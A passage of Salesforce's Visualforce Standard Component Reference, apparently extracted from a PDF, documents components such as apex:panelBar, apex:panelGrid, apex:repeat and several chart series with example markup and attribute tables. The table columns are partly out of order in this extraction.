Access
14.0
14.0
14.0
14.0
global global
The severity of the message. Values supported are: 'confirm',
'info', 'warning', 'error'
Yes 14.0
498
Standard Component Reference apex:pageMessages
Attribute Name Attribute Type
strength summary title
Integer
String
String
Description
The strength of the message. This controls the visibility and size of the icon displayed next to the message. Use 0 for no image, or 1-3 (highest strength, largest icon).
Required?
API
Version
Access
14.0
The summary message.
The title text for the message.
14.0
14.0
apex:pageMessages
This component displays all messages that were generated for all components on the current page, presented using the Salesforce styling.
Example
<apex:page standardController= "Opportunity" recordSetVar= "opportunities" tabStyle= "Opportunity" sidebar= "false" >
<p >Enter an alphabetic character for the "Close Date," then click Save to see what happens.
</p >
<apex:form >
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!opportunities}" var= "opp" >
<apex:column value= "{!opp.name}" />
<apex:column headerValue= "Close Date" >
<apex:inputField value= "{!opp.closeDate}" />
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
escape
Boolean
Description
A Boolean value that specifies whether sensitive HTML and
XML characters should be escaped in the HTML output generated by this component. If you do not specify escape="false", the character escape sequence displays as written. Be aware that setting this value to "false" may be a
Required?
API
Version
Access
14.0
499
Standard Component Reference apex:panelBar
Attribute Name Attribute Type
id rendered showDetail
String
Boolean
Boolean
Description
security risk because it allows arbitrary content, including
JavaScript, that could be used in a malicious manner.
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether to display the detail portion of the messages. If not specifed this value defaults to false.
Required?
API
Version
Access
14.0
14.0
14.0
global global
apex:panelBar
A page area that includes one or more
<apex:panelBarItem >
tags that can expand when a user clicks the associated header.
When an
<apex:panelBarItem >
is expanded, the header and the content of the item are displayed while the content of all other items are hidden. When another
<apex:panelBarItem >
is expanded, the content of the original item is hidden again. An
<apex:panelBar >
can include up to 1,000
<apex:panelBarItem >
tags.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<div >
tag.
Example
<!-- Page: panelBar -->
<!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel -->
<apex:page >
<apex:panelBar >
<apex:panelBarItem label= "Item 1" >data 1 </apex:panelBarItem >
<apex:panelBarItem label= "Item 2" >data 2 </apex:panelBarItem >
<apex:panelBarItem label= "Item 3" >data 3 </apex:panelBarItem >
</apex:panelBar >
</apex:page >
500
Standard Component Reference apex:panelBar
Attributes
Attribute Name Attribute Type
contentClass contentStyle headerClass headerClassActive headerStyle headerStyleActive height id items rendered style styleClass
String
String
String
String
String
String
String
String
Object
Boolean
String
String
Description
The style class used to display the content of any panelBarItem in the panelBar component, used primarily to designate which
CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
10.0
global
10.0
global The style used to display the content of any panelBarItem in the panelBar component, used primarily for adding inline CSS styles.
The style class used to display all panelBarItem headers in the panelBar component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The style class used to display the header of any panelBarItem when it is expanded, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The style used to display all panelBarItem headers in the panelBar component, used primarily for adding inline CSS styles.
10.0
10.0
10.0
global global global
10.0
global The style used to display the header of any panelBarItem when it is expanded, used primarily for adding inline CSS styles.
The height of the panel bar when expanded, expressed either as a percentage of the available vertical space (for example, height="50%") or as a number of pixels (for example, height="200px"). If not specified, this value defaults to 100%.
An identifier that allows the panelBar component to be referenced by other components in the page.
A collection of data processed when the panelBar is rendered.
When used, the body of the panelBar component is repeated once for each item in the collection, similar to a dataTable or repeat component. See also the var attribute.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display all portions of the panelBar component, used primarily for adding inline CSS styles.
The style class used to display all portions of the panelBar component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
11.0
10.0
10.0
10.0
global global global global global global
501
Standard Component Reference apex:panelBarItem
Attribute Name Attribute Type
switchType value var width
String
Object
String
String
Description
The implementation method for switching between panelBar items. Possible values include "client", "server", and "ajax". If not specified, this value defaults to "server".
Required?
API
Version
Access
10.0
global
10.0
global The ID of the panelBarItem initially selected when the panelBar is displayed.
The name of the variable that represents one element in the collection of data specified by the items attribute. You can then use this variable to display the element itself in the body of the panelBar component tag.
The width of the panel bar, expressed either as a percentage of the available horizontal space (for example, width="50%") or as a number of pixels (for example, width="800px"). If not specified, this value defaults to 100%.
11.0
10.0
global global
apex:panelBarItem
A section of an
<apex:panelBar >
that can expand or retract when a user clicks the section header. When expanded, the header and the content of the
<apex:panelBarItem >
is displayed. When retracted, only the header of the
<apex:panelBarItem > displays.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<div >
tag.
Example
<!-- Page: panelBar -->
<!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel -->
<apex:page >
<apex:panelBar >
<apex:panelBarItem label= "Item 1" >data 1 </apex:panelBarItem >
<apex:panelBarItem label= "Item 2" >data 2 </apex:panelBarItem >
<apex:panelBarItem label= "Item 3" >data 3 </apex:panelBarItem >
</apex:panelBar >
</apex:page >
502
Standard Component Reference apex:panelBarItem
<!-- Page: panelBarItemEvents -->
<apex:page >
<apex:pageMessages/ >
<apex:panelBar >
<apex:panelBarItem label= "Item One" onenter= "alert('Entering item one');" onleave= "alert('Leaving item one');" >
Item one content
</apex:panelBarItem >
<apex:panelBarItem label= "Item Two" onenter= "alert('Entering item two');" onleave= "alert('Leaving item two');" >
Item two content
</apex:panelBarItem >
</apex:panelBar >
</apex:page >
Attributes
Attribute Name Attribute Type
contentClass contentStyle expanded
String
String
String
Description
The style class used to display the content of the panelBarItem component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
10.0
global
The style used to display the content of the panelBarItem component, used primarily for adding inline CSS styles.
A Boolean value that specifies whether the content of this panelBarItem is displayed.
10.0
10.0
global global
503
Standard Component Reference apex:panelGrid
Attribute Name Attribute Type
headerClass headerClassActive headerStyle headerStyleActive id label name onenter onleave rendered
String
String
String
String
String
String
Object
String
String
Boolean
Description
The style class used to display the header of the panelBarItem component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
10.0
global
10.0
global The style class used to display the header of the panelBarItem component when the content of the panelBarItem is displayed, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The style used to display the header of the panelBarItem component, used primarily for adding inline CSS styles.
The style used to display the header of the panelBarItem component when the content of the panelBarItem is displayed, used primarily for adding inline CSS styles.
10.0
10.0
global global
10.0
global An identifier that allows the panelBarItem to be referenced by other components in the page.
The text displayed as the header of the panelBarItem component.
The name of the panelBarItem. Use the value of this attribute to specify the default expanded panelItem for the panelBar.
The JavaScript invoked when the panelBarItem is not selected and the user clicks on the component to select it.
10.0
11.0
16.0
global global
The JavaScript invoked when the user selects a different panelBarItem.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
16.0
10.0
global
apex:panelGrid
Renders an HTML table element in which each component found in the body of the
<apex:panelGrid >
is placed into a corresponding cell in the first row until the number of columns is reached. At that point, the next component wraps to the next row and is placed in the first cell.
Note that if an
<apex:repeat >
component is used within an
<apex:panelGrid >
component, all content generated by the
<apex:repeat >
component is placed in a single
<apex:panelGrid >
cell. The
<apex:panelGrid >
component differs from
<apex:dataTable >
because it does not process a set of data with an iteration variable.
See also:
<apex:panelGroup >
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<table >
tag.
504
Standard Component Reference apex:panelGrid
Example
<apex:page >
<apex:panelGrid columns= "3" id= "theGrid" >
<apex:outputText value= "First" id= "theFirst" />
<apex:outputText value= "Second" id= "theSecond" />
<apex:outputText value= "Third" id= "theThird" />
<apex:outputText value= "Fourth" id= "theFourth" />
</apex:panelGrid >
</apex:page >
The example above renders the following HTML:
<table id= "theGrid" >
<tbody >
<tr >
<td > <span id= "theFirst" >First </span > </td >
<td > <span id= "theSecond" >Second </span > </td >
<td > <span id= "theThird" >Third </span > </td >
</tr >
<tr >
<td > <span id= "theFourth" >Fourth </span > </td >
</tr >
</tbody >
</table >
Attributes
Attribute Name Attribute Type
bgcolor border captionClass captionStyle cellpadding
String
Integer
String
String
String
Description
The background color of the rendered HTML table.
The width of the frame around the rendered HTML table, in pixels.
Required?
API
Version
Access
10.0
global
10.0
global
10.0
global The style class used to display the caption for the rendered
HTML table, if a caption facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The style used to display the caption for the rendered HTML table, if a caption facet is specified. This attribute is used primarily for adding inline CSS styles
The amount of space between the border of each table cell and its contents. If the value of this attribute is a pixel length, all four margins are this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins are equally separated from the content based on a percentage of the available vertical space, and the left and right margins are equally separated from the content based on a percentage of the available horizontal space.
10.0
10.0
global global
505
Standard Component Reference apex:panelGrid
Attribute Name Attribute Type
cellspacing columnClasses columns dir footerClass frame headerClass id lang onclick ondblclick onkeydown onkeypress
String
String
Integer
String
String
String
String
String
String
String
String
String
String
Description
The amount of space between the border of each table cell and the border of the other cells surrounding it and/or the table's edge. This value must be specified in pixels or percentage.
Required?
API
Version
Access
10.0
global
A comma-separated list of one or more CSS classes associated with the table's columns. If more than one CSS class is specified, the classes are applied in a repeating fashion to all columns. For example, if you specify columnClasses="classA, classB", then the first column is styled with classA, the second column is styled with classB, the third column is styled with classA, the fourth column is styled with classB, and so on.
The number of columns in this panelGrid.
The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right).
The style class used to display the footer (bottom row) for the rendered HTML table, if a footer facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The borders drawn for this table. Possible values include
"none", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", and "border". If not specified, this value defaults to "border".
See also the rules attribute.
The style class used to display the header for the rendered
HTML table, if a header facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
An identifier that allows the panelGrid component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global
10.0
global The JavaScript invoked if the onclick event occurs--that is, if the user clicks the panel grid.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the panel grid twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
10.0
10.0
10.0
global global global
506
Standard Component Reference apex:panelGrid
Attribute Name Attribute Type
onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered rowClasses rules style styleClass summary title width
String
String
String
String
String
String
Boolean
String
String
String
String
String
String
String
Description
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
10.0
global
10.0
global The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the panel grid.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the panel grid.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A comma-separated list of one or more CSS classes associated with the table's rows. If more than one CSS class is specified, the classes are applied in a repeating fashion to all rows. For example, if you specify columnRows="classA, classB", then the first row is styled with classA, the second row is styled with classB, the third row is styled with classA, the fourth row is styled with classB, and so on.
The borders drawn between cells in the table. Possible values include "none", "groups", "rows", "cols", and "all". If not specified, this value defaults to "none". See also the frames attribute.
The style used to display the panelGrid component, used primarily for adding inline CSS styles.
The style class used to display the panelGrid component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global
A summary of the table's purpose and structure for Section
508 compliance.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The width of the entire table, expressed either as a relative percentage to the total amount of available horizontal space
10.0
10.0
10.0
global global global
507
Standard Component Reference apex:panelGroup
Attribute Name Attribute Type Description
(for example, width="80%"), or as the number of pixels (for example, width="800px").
Required?
API
Version
Access
Facets
Facet Name
caption footer header
Description API
Version
The components that appear in the caption for the table. Note that the order in which a caption facet appears in the body of a panelGrid component does not matter, because any facet with name="caption" will control the appearance of the table's caption.
10.0
The components that appear in the footer row for the table. Note that the order in which a footer facet appears in the body of a panelGrid component does not matter, because any facet with name="footer" will control the appearance of the final row in the table.
10.0
The components that appear in the header row for the table. Note that the order in which a header facet appears in the body of a panelGrid component does not matter, because any facet with name="header" will control the appearance of the first row in the table.
10.0
apex:panelGroup
A container for multiple child components so that they can be displayed in a single panelGrid cell. An
<apex:panelGroup >
must be a child component of an
<apex:panelGrid >
.
Example
<apex:page >
<apex:panelGrid columns= "3" id= "theGrid" >
<apex:outputText value= "First" id= "theFirst" />
<apex:outputText value= "Second" id= "theSecond" />
<apex:panelGroup id= "theGroup" >
<apex:outputText value= "Third" id= "theThird" />
<apex:outputText value= "Fourth" id= "theFourth" />
</apex:panelGroup >
</apex:panelGrid >
</apex:page >
The example above renders the following HTML:
<table id= "theGrid" >
<tbody >
<tr >
<td > <span id= "theFirst" >First </span > </td >
<td > <span id= "theSecond" >Second </span > </td >
<td > <span id= "theGroup" >
508
Standard Component Reference apex:param
</tr >
</tbody >
</table >
<span id= "theThird" >Third </span >
<span id= "theFourth" >Fourth </span >
</span > </td >
Attributes
Attribute Name Attribute Type
id layout rendered style styleClass
String
String
Boolean
String
String
Description
An identifier that allows the panelGrid component to be referenced by other components in the page.
The layout style for the panel group. Possible values include
"block" (which generates an HTML div tag), "inline" (which generates an HTML span tag), and "none" (which does not generate an HTML tag). If not specified, this value defaults to
"inline".
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
10.0
global
10.0
10.0
global global
The style used to display the panelGroup component, used primarily for adding inline CSS styles.
The style class used to display the panelGroup component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
global global
apex:param
A parameter for the parent component. The
<apex:param >
component can only be a child of the following components:
•
<apex:actionFunction >
•
<apex:actionSupport >
•
<apex:commandLink >
•
<apex:outputLink >
•
<apex:outputText >
•
<flow:interview >
Within
<apex:outputText >
, there is support for the
<apex:param >
tag to match the syntax of the MessageFormat class in
Java.
509
Standard Component Reference apex:pieSeries apex:outputLink Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid contact record in the URL.
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Contact" >
<apex:outputLink value= "http://google.com/search" >
Search Google
<apex:param name= "q" value= "{!contact.name}" />
</apex:outputLink >
</apex:page >
Attributes
Attribute Name Attribute Type
assignTo id name value
Object
String
String
Object
Description
A setter method that assigns the value of this param to a variable in the associated Visualforce controller. If this attribute is used, getter and setter methods, or a property with get and set values, must be defined.
Required?
API
Version
Access
10.0
global
An identifier that allows the param component to be referenced by other components in the page.
The key for this parameter, for example, name="Location".
10.0
10.0
global global
The data associated with this parameter, for example, value="San Francisco, CA". The value attribute must be set to a string, number, or boolean value. Note that value is the only required attribute for a param component because it is all that is needed when performing a string replacement. For example, if you use "My {0}" as the value of an outputText component and then include a param in the body of the outputText component, the value of the param tag replaces the {0} in the output text string.
Yes 10.0
global
apex:pieSeries
A data series to be rendered as wedges in a Visualforce pie chart. At a minimum you must specify the fields in the data collection to use as label and value pairs for each pie wedge.
Note: This component must be enclosed within an
<apex:chart >
component. You can only have one
<apex:pieSeries > in a chart.
510
Standard Component Reference apex:pieSeries
Example
<!-- Page: -->
<apex:chart data= "{!pieData}" height= "300" width= "400" >
<apex:pieSeries labelField= "name" dataField= "data1" />
</apex:chart >
Attributes
Attribute Name Attribute Type
colorSet dataField donut highlight id labelField rendered rendererFn showInLegend tips
String
String
Integer
Boolean
String
String
Boolean
String
Boolean
Boolean
Description
A set of color values used, in order, as the pie wedge fill colors.
Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example,
#00F,#0F0,#F00
.
Required?
API
Version
Access
23.0
23.0
The field in each record provided in the chart data from which to retrieve the data value for each pie wedge in the series.
This field must exist in every record in the chart data.
Yes
An integer representing the radius of the hole to place in the center of the pie chart, as a percentage of the radius of the pie. If no value is specified, 0 is used, which creates a normal pie chart, with no hole.
A Boolean value that specifies whether each pie wedge should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true.
26.0
23.0
23.0
global An identifier that allows the chart component to be referenced by other components on the page.
The field in each record provided in the chart data from which to retrieve the label for each pie wedge in the series. This field must exist in every record in the chart data. If not specified, this value defaults to "name".
A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true.
A string that specifies the name of a JavaScript function that augments or overrides how each pie wedge is rendered.
Implement to provide additional styling or to augment data.
A Boolean value that specifies whether to show this series in the chart legend, if a legend is enabled. If not specified, this value defaults to true.
A Boolean value that specifies whether to display a tooltip for each pie wedge when the mouse pointer passes over it. The
23.0
23.0
26.0
23.0
23.0
511
Standard Component Reference apex:radarSeries
Attribute Name Attribute Type Description
format of the tip is <labelField>: <dataField>. If not specified, this value defaults to true.
Required?
API
Version
Access apex:radarSeries
A data series to be rendered as the area inside a series of connected points in a radial Visualforce chart. Radar charts are also sometimes called "spider web" charts. At a minimum you must specify the fields in the data collection to use as X and Y values for each point, as well as a radial axis to scale against.
Note: This component must be enclosed within an
<apex:chart >
component. You can have multiple
<apex:radarSeries > components in a single chart.
Example
<!-- Page: -->
<apex:chart height= "530" width= "700" legend= "true" data= "{!data}" >
<apex:legend position= "left" />
<apex:axis type= "Radial" position= "radial" >
<apex:chartLabel/ >
</apex:axis >
<apex:radarSeries xField= "name" yField= "data1" tips= "true" opacity= "0.4" />
<apex:radarSeries xField= "name" yField= "data2" tips= "true" opacity= "0.4" />
<apex:radarSeries xField= "name" yField= "data3" tips= "true" markerType= "cross" strokeWidth= "2" strokeColor= "#f33" opacity= "0.4" />
</apex:chart >
Attributes
Attribute Name Attribute Type
fill highlight id
String
Boolean
String
Description
A string that specifies the color to use to fill the area inside the line, specified as an HTML-style (hexadecimal) color. If not specified, colors are used in sequence from the chart colorSet or theme. Set fill to "none" for an unfilled chart, with lines and markers only. If you do so, be sure to set stroke and marker attributes, which by default aren't visible.
A Boolean value that specifies whether each point should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true.
Required?
API
Version
Access
26.0
26.0
An identifier that allows the chart component to be referenced by other components on the page.
26.0
global
512
Standard Component Reference apex:radarSeries
Attribute Name Attribute Type
markerFill markerSize markerType
String
Integer
String
Description
The color of data point markers for this series, specified as an
HTML-style (hexadecimal) color. You must set at least one marker attribute for markers for a series to appear on the chart.
Required?
API
Version
Access
23.0
The size of each data point marker for this series. You must set at least one marker attribute for markers for a series to appear on the chart.
23.0
23.0
The shape of each data point marker for this series. Valid options are:
•
circle
•
cross
You must set at least one marker attribute for markers for a series to appear on the chart.
opacity rendered showInLegend strokeColor strokeWidth tips title xField yField
Integer
Boolean
Boolean
String
Integer
Boolean
String
String
String
A decimal number between 0 and 1 representing the opacity of the filled area for the series. Only has an effect if fill is set.
A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true.
A Boolean value that specifies whether this chart series should be added to the chart legend. If not specified, this value defaults to true.
A string specifying the color of the line for this series, specified as an HTML-style (hexadecimal) color. If not specified, the line will be the same color as the fill, which effectively renders it invisible.
An integer specifying the width of the line for this series. If not specified, no line will be drawn. If fill is also set to "none", this series won't display on the chart.
A Boolean value that specifies whether to display a tooltip for each data point marker when the mouse pointer passes over it. The format of the tip is <xField>: <yField>. If not specified, this value defaults to true.
The title of this chart series, which is displayed in the chart legend.
The field in each record provided in the chart data from which to retrieve the x-axis value for each data point in the series.
The x-axis in a radar chart is the perimeter circle. This field must exist in every record in the chart data.
Yes
The field in each record provided in the chart data from which to retrieve the y-axis value for each data point in the series.
Yes
26.0
26.0
26.0
26.0
26.0
26.0
26.0
26.0
26.0
513
Standard Component Reference apex:relatedList
Attribute Name Attribute Type Description
The y-axis in a radar chart is the vertical line running from the center of the radar plot out to the edge. This field must exist in every record in the chart data.
Required?
API
Version
Access apex:relatedList
A list of Salesforce records that are related to a parent record with a lookup or master-detail relationship.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Account" >
<apex:pageBlock >
You 're looking at some related lists for {!account.name}:
</apex:pageBlock >
<apex:relatedList list= "Opportunities" />
<apex:relatedList list= "Contacts" >
<apex:facet name= "header" >Titles can be overriden with facets </apex:facet >
</apex:relatedList >
<apex:relatedList list= "Cases" title= "Or you can keep the image, but change the text"
/>
</apex:page >
Attributes
Attribute Name Attribute Type
id list
String
String
Description Required?
API
Version
Access
10.0
global An identifier that allows the relatedList component to be referenced by other components in the page.
The related list to display. This does not need to be on an object's page layout. To specify this value, use the name of the child relationship to the related object. For example, to display the Contacts related list that would normally display on an account detail page, use list="Contacts".
Yes 10.0
global
514
Standard Component Reference apex:remoteObjectField
Attribute Name Attribute Type
pageSize rendered subject title
Integer
Boolean
String
String
Description
The number of records to display by default in the related list.
If not specified, this value defaults to 5.
Required?
API
Version
Access
10.0
global
10.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The parent record from which the data and related list definition are derived. If not specified, and if using a standard controller, this value is automatically set to the value of the
ID query string parameter in the page URL.
The text displayed as the title of the related list. If not specified, this value defaults to the title specified in the application.
10.0
10.0
global global
Facets
Facet Name
body footer header
Description API
Version
The components that appear in the body of the related list. Note that the order in which a body facet appears in a relatedList component does not matter, because any facet with name="body" will control the appearance of the related list body. If specified, this facet overrides any other content in the related list tag.
10.0
The components that appear in the footer area of the related list. Note that the order in which a footer facet appears in the body of a relatedList component does not matter, because any facet with name="footer" will control the appearance of the bottom of the related list.
10.0
The components that appear in the header area of the related list. Note that the order in which a header facet appears in the body of a relatedList component does not matter, because any facet with name="header" will control the appearance of the top of the related list.
10.0
apex:remoteObjectField
Defines the fields to load for an sObject. Fields defined using this component, instead of the fields
attribute of apex:remoteObjectModel
, can have a shorthand name, which allows the use of a "nickname" for the field in client-side JavaScript code, instead of the full API name. Use as child of apex:remoteObjectModel
.
515
Standard Component Reference apex:remoteObjectModel
Attributes
Attribute Name Attribute Type
id jsShorthand name rendered
String
String
String
Boolean
Description Required?
API
Version
Access
14.0
global An identifier that allows the component to be referenced by other components in the page.
The shorthand, or nickname, that can be used instead of the full field name in JavaScript code.
The API name of the sObject field.
Yes
35.0
35.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
apex:remoteObjectModel
Defines an sObject and its fields to make accessible using Visualforce Remote Objects. This definition can include a shorthand name for the object, which you can use in JavaScript instead of the full API name. This is especially useful if your organization has a namespace, and makes your code more maintainable.
Attributes
Attribute Name Attribute Type
create delete fields id jsShorthand name rendered
String
String
String
String
String
String
Boolean
Description
$RemoteAction override for the create method. Applies to all remote object types.
Required?
API
Version
Access
35.0
35.0
$RemoteAction override for the create method. Applies to all remote object types.
A list of the object's fields to make accessible. Only these fields are available when existing objects are loaded from the server.
The list is a comma-delimited string of the full API names of the fields.
35.0
14.0
global An identifier that allows the component to be referenced by other components in the page.
A shorthand name, or 'nickname', that you can use in your
JavaScript code, instead of the full object name.
The API name of the sObject to access. The full API name includes your organization's namespace, if you have one.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Yes
35.0
35.0
14.0
global
516
Standard Component Reference apex:remoteObjects
Attribute Name Attribute Type
retrieve update
String
String
Description
$RemoteAction override for the retrieve method. Applies to all remote object types.
Required?
API
Version
Access
35.0
$RemoteAction override for the create method. Applies to all remote object types.
35.0
apex:remoteObjects
Use this component, along with child apex:remoteObjectModel
and apex:remoteObjectField
components, to specify the sObjects and fields to access using Visualforce Remote Objects. These components generate models in JavaScript that you can use for basic create, select, update, and delete operations in your client-side JavaScript code.
Attributes
Attribute Name Attribute Type
create delete id jsNamespace rendered retrieve update
String
String
String
String
Boolean
String
String
Description
$RemoteAction override for the create method. Applies to all remote object types.
$RemoteAction override for the create method. Applies to all remote object types.
Required?
API
Version
Access
35.0
35.0
An identifier that allows the component to be referenced by other components in the page.
The JavaScript namespace for the generated models.
14.0
35.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
$RemoteAction override for the retrieve method. Applies to all remote object types.
$RemoteAction override for the create method. Applies to all remote object types.
14.0
35.0
35.0
global
apex:repeat
An iteration component that allows you to output the contents of a collection according to a structure that you specify. The collection can include up to 1,000 items.
Note that if used within an
<apex:pageBlockSection >
or
<apex:panelGrid >
component, all content generated by a child
<apex:repeat >
component is placed in a single
<apex:pageBlockSection >
or
<apex:panelGrid >
cell.
This component can't be used as a direct child of the following components:
517
Standard Component Reference
•
<apex:panelBar >
•
<apex:selectCheckboxes >
•
<apex:selectList >
•
<apex:selectRadio >
•
<apex:tabPanel >
Example
<!-- Page: -->
<apex:page controller= "repeatCon" id= "thePage" >
<apex:repeat value= "{!strings}" var= "string" id= "theRepeat" >
<apex:outputText value= "{!string}" id= "theValue" /> <br/ >
</apex:repeat >
</apex:page >
/*** Controller: ***/ public class repeatCon { public String [] getStrings() { return new String []{ 'ONE' , 'TWO' , 'THREE' };
}
}
The example above renders the following HTML:
<span id= "thePage:theRepeat:0:theValue" >ONE </span > <br/ >
<span id= "thePage:theRepeat:1:theValue" >TWO </span > <br/ >
<span id= "thePage:theRepeat:2:theValue" >THREE </span > <br/ >
Standard Component Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> apex:repeat
518
Standard Component Reference apex:repeat
<!-- Page: -->
<apex:page standardController= "Account" >
<table border= "0" >
<tr >
<th >Case Number </th > <th >Origin </th >
<th >Creator Email </th > <th >Status </th >
</tr >
<apex:repeat var= "cases" value= "{!Account.Cases}" >
<tr >
<td >{!cases.CaseNumber} </td >
<td >{!cases.Origin} </td >
<td >{!cases.Contact.email} </td >
<td >{!cases.Status} </td >
</tr >
</apex:repeat >
</table >
</apex:page >
Attributes
Attribute Name Attribute Type
first id
Integer
String
Description
The first element in the collection visibly rendered, where 0 is the index of the first element in the set of data specified by the value attribute. For example, if you did not want to display the first two elements in the set of records specified by the value attribute, set first="2".
An identifier that allows the repeat component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
10.0
global
519
Standard Component Reference apex:scatterSeries
Attribute Name Attribute Type
rendered rows value var
Boolean
Integer
Object
String
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
10.0
global
10.0
global The maximum number of items in the collection that are rendered. If this value is less than the number of items in the collection, the items at the end of the collection are not repeated.
The collection of data that is iterated over.
The name of the variable that represents the current item in the iteration.
10.0
10.0
global global
apex:scatterSeries
A data series to be rendered as individual (not connected) points in a linear Visualforce chart. At a minimum you must specify the fields in the data collection to use as X and Y values for each point, as well as the X and Y axes to scale against.
Note: This component must be enclosed within an
<apex:chart >
component. You can have multiple
<apex:scatterSeries > components in a single chart. You can also add
<apex:areaSeries >
,
<apex:barSeries >
, and
<apex:lineSeries > components, but the results might not be very readable.
Example
<!-- Page: -->
<apex:chart height= "530" width= "700" animate= "true" data= "{!data}" >
<apex:scatterSeries xField= "data1" yField= "data2" markerType= "circle" markerSize= "3" />
<apex:axis type= "Numeric" position= "bottom" fields= "data1" title= "Torque" grid= "true" >
<apex:chartLabel/ >
</apex:axis >
<apex:axis type= "Numeric" position= "left" fields= "data2" title= "Lateral Motion" grid= "true" >
<apex:chartLabel/ >
</apex:axis >
</apex:chart >
520
Standard Component Reference apex:scatterSeries
Attributes
Attribute Name Attribute Type
axis
String
Description
Which axis this chart series should bind to. Must be one of the four edges of the chart:
•
left
•
right
•
top
•
bottom
The axis bound to must be defined by a sibling
<apex:axis >
component.
Required?
API
Version
Access
26.0
highlight id markerFill markerSize markerType
Boolean
String
String
Integer
String
A Boolean value that specifies whether each point should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true.
An identifier that allows the chart component to be referenced by other components on the page.
The color of data point markers for this series, specified as an
HTML-style (hexadecimal) color.
The size of each data point marker for this series.
26.0
26.0
26.0
26.0
26.0
global rendered rendererFn showInLegend tips
Boolean
String
Boolean
Boolean
The shape of each data point marker for this series. Valid options are:
•
circle
•
cross
If not specified, the marker shape is chosen from a sequence of shapes.
A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true.
A string that specifies the name of a JavaScript function that augments or overrides how each data point is rendered.
Implement to provide additional styling or to augment data.
A Boolean value that specifies whether this chart series should be added to the chart legend. If not specified, this value defaults to true.
A Boolean value that specifies whether to display a tooltip for each data point marker when the mouse pointer passes over it. The format of the tip is <xField>: <yField>. If not specified, this value defaults to true.
26.0
26.0
26.0
26.0
521
Standard Component Reference apex:scontrol
Attribute Name Attribute Type
title xField yField
String
String
String
Description Required?
API
Version
Access
26.0
The title of this chart series, which is displayed in the chart legend.
